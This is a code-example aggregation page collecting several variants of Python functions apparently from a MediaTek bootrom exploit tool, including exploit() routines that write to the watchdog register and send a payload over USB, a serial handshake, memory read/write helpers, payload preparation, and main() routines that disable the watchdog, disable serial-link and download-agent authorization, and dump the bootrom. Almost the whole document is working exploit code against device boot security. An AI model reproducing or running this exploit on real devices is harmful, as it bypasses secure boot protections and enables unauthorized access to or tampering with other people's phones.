예제 #1
0
def exploit(device, watchdog_address, payload_address, var_0, var_1, payload):
    addr = watchdog_address + 0x50

    device.write32(addr, from_bytes(to_bytes(payload_address, 4), 4, '<'))
    if var_0:
        readl = var_0 + 0x4
        device.read32(addr - var_0, readl // 4)
    else:
        cnt = 15
        for i in range(cnt):
            device.read32(addr - (cnt - i) * 4, cnt - i + 1)

    # replace watchdog_address in generic payload
    payload = bytearray(payload)
    if from_bytes(payload[-4:], 4, '<') == 0x10007000:
        payload[-4:] = to_bytes(watchdog_address, 4, '<')
    payload = bytes(payload)

    while len(payload) % 4 != 0:
        payload += to_bytes(0)

    if len(payload) >= 0xA00:
        raise RuntimeError("payload too large")

    device.echo(0xE0)

    device.echo(len(payload), 4)

    # clear 2 bytes
    device.read(2)

    device.write(payload)

    # clear 4 bytes
    device.read(4)

    udev = usb.core.find(idVendor=0x0E8D, idProduct=0x3)

    try:
        # noinspection PyProtectedMember
        udev._ctx.managed_claim_interface = lambda *args, **kwargs: None
    except AttributeError as e:
        raise RuntimeError("libusb is not installed for port {}".format(
            device.dev.port)) from e

    try:
        udev.ctrl_transfer(0xA1, 0, 0, var_1, 0)
    except usb.core.USBError as e:
        print(e)

    # We don't need to wait long, if we succeeded
    device.dev.timeout = 1
    try:
        pattern = device.read(4)
    except SerialException as e:
        print(e)
        return False

    return pattern
예제 #2
0
    def handshake(self):
        self.write(0xA0)
        self.check(self.read(1), to_bytes(0x5F))

        self.write(0x0A)
        self.check(self.read(1), to_bytes(0xF5))

        self.write(0x50)
        self.check(self.read(1), to_bytes(0xAF))

        self.write(0x05)
        self.check(self.read(1), to_bytes(0xFA))
예제 #3
0
def exploit(device, watchdog_address, var_0, var_1, payload):
    addr = watchdog_address + 0x50

    device.write32(addr, [0xA1000])  # 0x00100A00
    if var_0:
        readl = var_0 + 0x4
        device.read32(addr - var_0, readl // 4)
    else:
        cnt = 15
        for i in range(cnt):
            device.read32(addr - (cnt - i) * 4, cnt - i + 1)

    device.echo(0xE0)

    payload = payload.read()

    while len(payload) % 4 != 0:
        payload += to_bytes(0)
    device.echo(len(payload), 4)

    # clear 2 bytes
    device.read(2)

    if len(payload) >= 0xA00:
        raise RuntimeError("payload too large")

    device.write(payload)

    # clear 4 bytes
    device.read(4)

    udev = usb.core.find(idVendor=0x0E8D, idProduct=0x3)

    try:
        # noinspection PyProtectedMember
        udev._ctx.managed_claim_interface = lambda *args, **kwargs: None
    except AttributeError as e:
        raise RuntimeError("libusb is not installed for port {}".format(
            device.dev.port)) from e

    try:
        udev.ctrl_transfer(0xA1, 0, 0, var_1, 0)
    except usb.core.USBError as e:
        print(e)

    pattern = device.read(4)
    if pattern != to_bytes(0xA1A2A3A4, 4):
        raise RuntimeError("received {} instead of expected pattern".format(
            pattern.hex()))
예제 #4
0
def prepare_payload(config):
    with open(PAYLOAD_DIR + config.payload, "rb") as payload:
        payload = payload.read()

    # replace watchdog_address and uart_base in generic payload
    payload = bytearray(payload)
    if from_bytes(payload[-4:], 4, '<') == 0x10007000:
        payload[-4:] = to_bytes(config.watchdog_address, 4, '<')
    if from_bytes(payload[-8:][:4], 4, '<') == 0x11002000:
        payload[-8:] = to_bytes(config.uart_base, 4, '<') + payload[-4:]
    payload = bytes(payload)

    while len(payload) % 4 != 0:
        payload += to_bytes(0)

    return payload
예제 #5
0
    def write32(self, addr, words, check_status=True):
        # support scalar
        if not isinstance(words, list):
            words = [words]

        self.echo(0xD4)
        self.echo(addr, 4)
        self.echo(len(words), 4)

        self.check(self.dev.read(2), to_bytes(1, 2))  # arg check

        for word in words:
            self.echo(word, 4)

        if check_status:
            self.check(self.dev.read(2), to_bytes(1, 2))  # status
예제 #6
0
    def read32(self, addr, size=1):
        result = []

        self.echo(0xD1)
        self.echo(addr, 4)
        self.echo(size, 4)

        self.check(self.dev.read(2), to_bytes(0, 2))  # arg check

        for _ in range(size):
            data = from_bytes(self.dev.read(4), 4)
            result.append(data)

        self.check(self.dev.read(2), to_bytes(0, 2))  # status

        # support scalar
        if len(result) == 1:
            return result[0]
        else:
            return result
예제 #7
0
    def handshake(self):
        while True:
            self.write(0xA0)
            if self.read(1) == to_bytes(0x5F):
                self.dev.flushInput()
                self.dev.flushOutput()
                break
            self.dev.flushInput()
            self.dev.flushOutput()

        #self.write(0xA0)
        #self.check(self.read(1), to_bytes(0x5F))

        self.write(0x0A)
        self.check(self.read(1), to_bytes(0xF5))

        self.write(0x50)
        self.check(self.read(1), to_bytes(0xAF))

        self.write(0x05)
        self.check(self.read(1), to_bytes(0xFA))
예제 #8
0
def exploit(device, watchdog_address, payload_address, var_0, var_1, payload):
    addr = watchdog_address + 0x50

    device.write32(addr, from_bytes(to_bytes(payload_address, 4), 4, '<'))
    if var_0:
        readl = var_0 + 0x4
        device.read32(addr - var_0, readl // 4)
    else:
        cnt = 15
        for i in range(cnt):
            device.read32(addr - (cnt - i) * 4, cnt - i + 1)

    device.echo(0xE0)

    device.echo(len(payload), 4)

    status = device.read(2)
    if from_bytes(status, 2) != 0:
        raise RuntimeError("status is {}".format(status.hex()))

    device.write(payload)

    # clear 4 bytes
    device.read(4)

    udev = usb.core.find(idVendor=0x0E8D, idProduct=0x3)

    try:
        # noinspection PyProtectedMember
        udev._ctx.managed_claim_interface = lambda *args, **kwargs: None
    except AttributeError as e:
        raise RuntimeError("libusb is not installed for port {}".format(
            device.dev.port)) from e

    try:
        udev.ctrl_transfer(0xA1, 0, 0, var_1, 0)
    except usb.core.USBError as e:
        print(e)

    # We don't need to wait long, if we succeeded
    # noinspection PyBroadException
    try:
        device.dev.timeout = 1
    except Exception:
        pass

    try:
        pattern = device.read(4)
    except SerialException as e:
        print(e)
        return False

    return pattern
예제 #9
0
def exploit(device, watchdog_address, var_0, var_1, payload):
    addr = watchdog_address + 0x50

    device.write32(addr, [0xA1000])  # 0x00100A00
    readl = var_0 + 0x4
    device.read32(addr - var_0, readl // 4)
    device.write32(addr, 0)

    device.echo(0xE0)

    payload = open(payload, "rb").read()

    while len(payload) % 4 != 0:
        payload += to_bytes(0)
    device.echo(len(payload), 4)

    # clear 2 bytes
    device.read(2)

    if len(payload) >= 0xA00:
        raise RuntimeError("payload too large")

    device.write(payload)

    # clear 4 bytes
    device.read(4)

    udev = usb.core.find(idVendor=0x0e8d, idProduct=0x3)
    # noinspection PyProtectedMember
    udev._ctx.managed_claim_interface = lambda *args, **kwargs: None

    try:
        udev.ctrl_transfer(0xA1, 0, 0, var_1, 0)
    except usb.core.USBError as e:
        print(e)

    pattern = device.read(4)
    if pattern != to_bytes(0xA1A2A3A4, 4):
        raise RuntimeError("received {} instead of expected pattern".format(
            pattern.hex()))
예제 #10
0
def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-c", "--config", help="Device config")
    parser.add_argument("-t", "--test", help="Testmode", action="store_true")
    parser.add_argument("-w", "--watchdog", help="Watchdog address(in hex) for testmode")
    parser.add_argument("-v", "--var_1", help="var_1 value(in hex) for testmode")
    parser.add_argument("-p", "--payload_address", help="payload_address value(in hex) for testmode")
    arguments = parser.parse_args()

    if arguments.config:
        if not os.path.exists(arguments.config):
            raise RuntimeError("Config file {} doesn't exist".format(arguments.config))
    elif not os.path.exists(DEFAULT_CONFIG):
        raise RuntimeError("Default config is missing")

    device = Device().find()
    device.handshake()

    hw_code = device.get_hw_code()
    hw_sub_code, hw_ver, sw_ver = device.get_hw_dict()
    secure_boot, serial_link_authorization, download_agent_authorization = device.get_target_config()

    if arguments.config:
        config_file = open(arguments.config)
        config = Config().from_file(config_file, hw_code)
        config_file.close()
    else:
        try:
            config = Config().default(hw_code)
        except NotImplementedError as e:
            if arguments.test:
                config = Config()

                if arguments.var_1:
                    config.var_1 = int(arguments.var_1, 16)
                if arguments.watchdog:
                    config.watchdog_address = int(arguments.watchdog, 16)
                if arguments.payload_address:
                    config.payload_address = int(arguments.payload_address, 16)

                config.payload = "generic_dump_payload.bin"

                log(e)
            else:
                raise e

    if not os.path.exists(PAYLOAD_DIR + config.payload):
        raise RuntimeError("Payload file {} doesn't exist".format(PAYLOAD_DIR + config.payload))

    print()
    log("Device hw code: {}".format(hex(hw_code)))
    log("Device hw sub code: {}".format(hex(hw_sub_code)))
    log("Device hw version: {}".format(hex(hw_ver)))
    log("Device sw version: {}".format(hex(sw_ver)))
    log("Device secure boot: {}".format(secure_boot))
    log("Device serial link authorization: {}".format(serial_link_authorization))
    log("Device download agent authorization: {}".format(download_agent_authorization))
    print()

    log("Disabling watchdog timer")
    device.write32(config.watchdog_address, 0x22000064)

    if serial_link_authorization or download_agent_authorization:
        log("Disabling protection")

        with open(PAYLOAD_DIR + config.payload, "rb") as payload:
            payload = payload.read()

        result = exploit(device, config.watchdog_address, config.payload_address, config.var_0, config.var_1, payload)
        if arguments.test:
            while not result:
                config.var_1 += 1
                log("Test mode, testing " + hex(config.var_1) + "...")
                device = Device().find()
                device.handshake()
                result = exploit(device, config.watchdog_address, config.payload_address,
                                 config.var_0, config.var_1, payload)

        bootrom__name = "bootrom_" + hex(hw_code)[2:] + ".bin"

        if result == to_bytes(0xA1A2A3A4, 4):
            log("Protection disabled")
        elif result == to_bytes(0xC1C2C3C4, 4):
            dump_brom(device, bootrom__name)
        elif result == to_bytes(0x0000C1C2, 4) and device.read(4) == to_bytes(0xC1C2C3C4, 4):
            dump_brom(device, bootrom__name, True)
예제 #11
0
    def write(self, data, size=1):
        if type(data) != bytes:
            data = to_bytes(data, size)

        self.dev.write(data)
예제 #12
0
def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-c", "--config", help="Device config")
    parser.add_argument("-t", "--test", help="Testmode", action="store_true")
    parser.add_argument("-w", "--watchdog", help="Watchdog address(in hex)")
    parser.add_argument("-u", "--uart", help="UART base address(in hex)")
    parser.add_argument("-v", "--var_1", help="var_1 value(in hex)")
    parser.add_argument("-a",
                        "--payload_address",
                        help="payload_address value(in hex)")
    parser.add_argument("-p", "--payload", help="Payload to use")
    parser.add_argument("-s",
                        "--serial_port",
                        help="Connect to existing serial port")
    parser.add_argument("-f",
                        "--force",
                        help="Force exploit on insecure device",
                        action="store_true")
    parser.add_argument("-n",
                        "--no_handshake",
                        help="Skip handshake",
                        action="store_true")
    parser.add_argument("-m",
                        "--crash_method",
                        help="Method to use for crashing preloader (0, 1, 2)",
                        type=int)
    arguments = parser.parse_args()

    if arguments.config:
        if not os.path.exists(arguments.config):
            raise RuntimeError("Config file {} doesn't exist".format(
                arguments.config))
    elif not os.path.exists(DEFAULT_CONFIG):
        raise RuntimeError("Default config is missing")

    if arguments.serial_port:
        device = Device(arguments.serial_port)
    else:
        device = Device().find()

    config, serial_link_authorization, download_agent_authorization, hw_code = get_device_info(
        device, arguments)

    while device.preloader:
        device = crash_preloader(device, config)
        config, serial_link_authorization, download_agent_authorization, hw_code = get_device_info(
            device, arguments)

    log("Disabling watchdog timer")
    device.write32(config.watchdog_address, 0x22000064)

    if serial_link_authorization or download_agent_authorization or arguments.force:
        log("Disabling protection")

        payload = prepare_payload(config)

        result = exploit(device, config.watchdog_address,
                         config.payload_address, config.var_0, config.var_1,
                         payload)
        if arguments.test:
            while not result:
                device.dev.close()
                config.var_1 += 1
                log("Test mode, testing " + hex(config.var_1) + "...")
                device = Device().find()
                device.handshake()
                while device.preloader:
                    device = crash_preloader(device, config)
                    device.handshake()
                result = exploit(device, config.watchdog_address,
                                 config.payload_address, config.var_0,
                                 config.var_1, payload)
    else:
        log("Insecure device, sending payload using send_da")

        if not arguments.payload:
            config.payload = DEFAULT_PAYLOAD
        if not arguments.payload_address:
            config.payload_address = DEFAULT_DA_ADDRESS

        payload = prepare_payload(config)

        payload += b'\x00' * 0x100

        device.send_da(config.payload_address, len(payload), 0x100, payload)
        device.jump_da(config.payload_address)

        result = device.read(4)

    bootrom__name = "bootrom_" + hex(hw_code)[2:] + ".bin"

    if result == to_bytes(0xA1A2A3A4, 4):
        log("Protection disabled")
    elif result == to_bytes(0xC1C2C3C4, 4):
        dump_brom(device, bootrom__name)
    elif result == to_bytes(0x0000C1C2, 4) and device.read(4) == to_bytes(
            0xC1C2C3C4, 4):
        dump_brom(device, bootrom__name, True)
    elif result != b'':
        raise RuntimeError("Unexpected result {}".format(result.hex()))
    else:
        log("Payload did not reply")
예제 #13
0
def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-c", "--config", help="Device config")
    parser.add_argument("-t", "--test", help="Testmode", action="store_true")
    parser.add_argument("-w", "--watchdog", help="Watchdog address(in hex)")
    parser.add_argument("-u", "--uart", help="UART base address(in hex)")
    parser.add_argument("-v", "--var_1", help="var_1 value(in hex)")
    parser.add_argument("-a",
                        "--payload_address",
                        help="payload_address value(in hex)")
    parser.add_argument("-p", "--payload", help="Payload to use")
    parser.add_argument("-s",
                        "--serial_port",
                        help="Connect to existing serial port")
    parser.add_argument("-f",
                        "--force",
                        help="Force exploit on insecure device",
                        action="store_true")
    parser.add_argument("-n",
                        "--no_handshake",
                        help="Skip handshake",
                        action="store_true")
    arguments = parser.parse_args()

    if arguments.config:
        if not os.path.exists(arguments.config):
            raise RuntimeError("Config file {} doesn't exist".format(
                arguments.config))
    elif not os.path.exists(DEFAULT_CONFIG):
        raise RuntimeError("Default config is missing")

    if arguments.serial_port:
        device = Device(arguments.serial_port)
    else:
        device = Device().find()

    if not arguments.no_handshake:
        device.handshake()

    hw_code = device.get_hw_code()
    hw_sub_code, hw_ver, sw_ver = device.get_hw_dict()
    secure_boot, serial_link_authorization, download_agent_authorization = device.get_target_config(
    )

    if arguments.config:
        config_file = open(arguments.config)
        config = Config().from_file(config_file, hw_code)
        config_file.close()
    else:
        try:
            config = Config().default(hw_code)
        except NotImplementedError as e:
            if arguments.test:
                config = Config()

                log(e)
            else:
                raise e

    if arguments.test:
        config.payload = DEFAULT_PAYLOAD
    if arguments.var_1:
        config.var_1 = int(arguments.var_1, 16)
    if arguments.watchdog:
        config.watchdog_address = int(arguments.watchdog, 16)
    if arguments.uart:
        config.uart_base = int(arguments.uart, 16)
    if arguments.payload_address:
        config.payload_address = int(arguments.payload_address, 16)
    if arguments.payload:
        config.payload = arguments.payload

    if not os.path.exists(PAYLOAD_DIR + config.payload):
        raise RuntimeError(
            "Payload file {} doesn't exist".format(PAYLOAD_DIR +
                                                   config.payload))

    print()
    log("Device hw code: {}".format(hex(hw_code)))
    log("Device hw sub code: {}".format(hex(hw_sub_code)))
    log("Device hw version: {}".format(hex(hw_ver)))
    log("Device sw version: {}".format(hex(sw_ver)))
    log("Device secure boot: {}".format(secure_boot))
    log("Device serial link authorization: {}".format(
        serial_link_authorization))
    log("Device download agent authorization: {}".format(
        download_agent_authorization))
    print()

    log("Disabling watchdog timer")
    device.write32(config.watchdog_address, 0x22000064)

    if serial_link_authorization or download_agent_authorization or arguments.force:
        log("Disabling protection")

        payload = prepare_payload(config)

        result = exploit(device, config.watchdog_address,
                         config.payload_address, config.var_0, config.var_1,
                         payload)
        if arguments.test:
            while not result:
                device.dev.close()
                config.var_1 += 1
                log("Test mode, testing " + hex(config.var_1) + "...")
                device = Device().find()
                device.handshake()
                result = exploit(device, config.watchdog_address,
                                 config.payload_address, config.var_0,
                                 config.var_1, payload)
    else:
        log("Insecure device, sending payload using send_da")

        if not arguments.payload:
            config.payload = DEFAULT_PAYLOAD
        if not arguments.payload_address:
            config.payload_address = DEFAULT_DA_ADDRESS

        payload = prepare_payload(config)

        payload += b'\x00' * 0x100

        device.send_da(config.payload_address, len(payload), 0x100, payload)
        device.jump_da(config.payload_address)

        result = device.read(4)

    bootrom__name = "bootrom_" + hex(hw_code)[2:] + ".bin"

    if result == to_bytes(0xA1A2A3A4, 4):
        log("Protection disabled")
    elif result == to_bytes(0xC1C2C3C4, 4):
        dump_brom(device, bootrom__name)
    elif result == to_bytes(0x0000C1C2, 4) and device.read(4) == to_bytes(
            0xC1C2C3C4, 4):
        dump_brom(device, bootrom__name, True)
    elif result != b'':
        raise RuntimeError("Unexpected result {}".format(result.hex()))
    else:
        log("Payload did not reply")